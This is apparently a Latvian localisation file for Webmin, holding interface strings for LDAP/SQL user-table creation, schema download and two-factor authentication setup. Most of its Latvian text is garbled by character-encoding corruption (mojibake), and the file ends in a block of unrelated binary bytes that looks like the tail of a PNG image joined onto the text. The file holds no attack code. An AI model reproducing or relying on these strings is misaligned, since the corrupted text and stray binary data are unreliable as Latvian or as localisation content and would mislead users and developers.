sql_dnerr2=Noklikšķiniet uz <b>Izveidot DN</b> pogu zemÄk, lai tÄ tiktu izveidota automÄtiski, vai arÄ« manuÄli pievienojiet to LDAP serverim.
sql_makedn=Izveidot DN
sql_schema=LejupielÄdÄ“jiet LDAP shÄ“mu
sql_timeout_def=Izmantot noklusējuma savienojuma taimautu (60 sekundes)
sql_timeout_for=PÄ“c tam aizveriet keÅ¡atmiÅ†Ä saglabÄtos savienojumus
sql_timeout_secs=sekundes
sql_etimeout=KeÅ¡atmiÅ†Ä saglabÄtÄ savienojuma taimautam ir jÄbÅ«t skaitlim

make_title=Izveidojiet lietotÄju un grupu tabulas
make_err=NeizdevÄs izveidot lietotÄju un grupu tabulas
make_exec=Izpilda SQL $1.
make_failed=.. izveidoÅ¡ana neizdevÄs: $1
make_done=.. darīts
make_still=Dažas problÄ“mas tika atklÄtas pat pÄ“c tabulas izveidoÅ¡anas: $1

makedn_title=Izveidojiet LDAP DN
makedn_eoc=Neviena konstrukcijas objekta klase nav atrasta!
makedn_exec=VecÄka DN izveidoÅ¡ana $1..
makedn_failed=.. izveidoÅ¡ana neizdevÄs: $1
makedn_done=.. darīts
makedn_still=Dažas problēmas tika atrastas pat pēc DN izveidošanas: $1

schema_title=LejupielÄdÄ“jiet LDAP shÄ“mu
schema_desc=Lai Webmin varÄ“tu izmantot LDAP serveri, lai saglabÄtu lietotÄjus un grupas, tas jÄkonfigurÄ“, lai izmantotu zemÄk esoÅ¡o shÄ“mu. Parasti to var izdarÄ«t, saglabÄjot shÄ“mas definÄ«ciju mapÄ“ <tt>/etc/ldap/schema</tt> vai <tt>/etc/openldap/schema</tt> kÄ <tt>webmin.schema</tt>, pÄ“c tam servera konfigurēšana, lai ielÄdÄ“tu Å¡o shÄ“mas failu.
schema_download=LejupielÄdÄ“t shÄ“mas failu: <a href=$1>$1</a>

twofactor_err=NeizdevÄs iestatÄ«t divu faktoru autentifikÄciju
twofactor_euser=JÅ«su Webmin lietotÄjs netika atrasts.
twofactor_title=Divfaktoru autentifikÄcija
twofactor_disable=AtspÄ“jot divu faktoru autentifikÄciju
twofactor_already=JÅ«su Webmin pieteikumvÄrdÄ jau ir iespÄ“jota divu faktoru autentifikÄcija ar nodroÅ¡inÄtÄju $1 un konta ID $2.
twofactor_already2=Webmin login $3 jau ir iespÄ“jota divu faktoru autentifikÄcija, nodroÅ¡inot pakalpojumu sniedzÄ“ju $1 un konta ID $2.
twofactor_desc=Å Ä« lapa ļauj iespÄ“jot divu faktoru autentifikÄciju Webmin pieteikuminformÄcijai, izmantojot <a href='$2' target=_blank>$1</a>. PÄ“c aktÄ«vas aktivizēšanas bÅ«s jÄpiesakÄs papildu autentifikÄcijas marÄ·ieris, piesakoties Webmin.
twofactor_desc2=Å Ä« lapa ļauj iespÄ“jot divu faktoru autentifikÄciju Webmin login $3, izmantojot <a href='$2' target=_blank>$1</a>. PÄ“c aktÄ«vas aktivizēšanas bÅ«s jÄpiesakÄs papildu autentifikÄcijas marÄ·ieris, piesakoties Webmin.
twofactor_enable=ReÄ£istrÄ“jieties divu faktoru autentifikÄcijai
twofactor_header=Divu faktoru autentifikÄcijas reÄ£istrēšanÄs informÄcija
twofactor_enrolling=ReÄ£istrēšanÄs divu faktoru autentifikÄcijai ar pakalpojumu sniedzÄ“ju $1..
twofactor_failed=.. reÄ£istrÄcija neizdevÄs: $1
twofactor_done=.. pabeigts. Jūsu ID ar šo pakalpojumu sniedzēju ir <tt>$1</tt>.
twofactor_setup=Divu faktoru autentifikÄcija Å¡ajÄ sistÄ“mÄ vÄ“l nav iespÄ“jota, taÄu to var ieslÄ“gt, izmantojot moduli <a href='$1'>Webmin konfigurēšana</a>.
twofactor_ebutton=Netika noklikšķinÄta neviena poga.
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚